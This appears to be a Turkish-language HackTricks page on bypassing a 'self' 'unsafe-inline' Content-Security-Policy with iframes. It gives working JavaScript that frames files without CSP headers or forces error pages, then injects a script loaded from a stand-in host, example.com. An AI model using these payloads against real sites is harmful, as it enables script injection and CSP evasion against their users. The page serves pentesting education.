CSP bypass: self + 'unsafe-inline' with Iframes

AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Bir yapılandırma örneği:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Herhangi bir fonksiyonun, bir dize olarak iletilen kodu çalıştırmasını engeller. Örneğin: eval, setTimeout, setInterval gibi fonksiyonlar, unsafe-eval ayarı nedeniyle engellenir.

Dış kaynaklardan gelen tüm içerikler engellenir, bunlar arasında resimler, CSS, WebSockets ve özellikle JS bulunur.

Metin ve Resimler Aracılığıyla

Görüldüğü üzere modern tarayıcılar, görüntüleri ve metinleri HTML'e dönüştürerek gösterimlerini geliştirir (örneğin arka plan ayarları, ortalamalar vb.). Bu nedenle, favicon.ico veya robots.txt gibi bir resim veya metin dosyası bir iframe aracılığıyla açılırsa, HTML olarak işlenir. Özellikle bu sayfalar genellikle CSP başlıklarını içermez ve X-Frame-Options'ı içermeyebilir, bu da bunlardan herhangi bir JavaScript'in yürütülmesine olanak tanır:

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Hatalar Aracılığıyla

Benzer şekilde, metin dosyaları veya resimler gibi hata yanıtları genellikle CSP başlıklarını içermez ve X-Frame-Options'ı atlayabilir. Hatalar, bir iframe içinde yüklenmeye zorlanabilir ve aşağıdaki eylemlere izin verebilir:

// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}

Bahsedilen senaryolardan herhangi birini tetikledikten sonra, iframe içinde JavaScript yürütmesi aşağıdaki gibi gerçekleştirilebilir:

script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Referanslar

AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated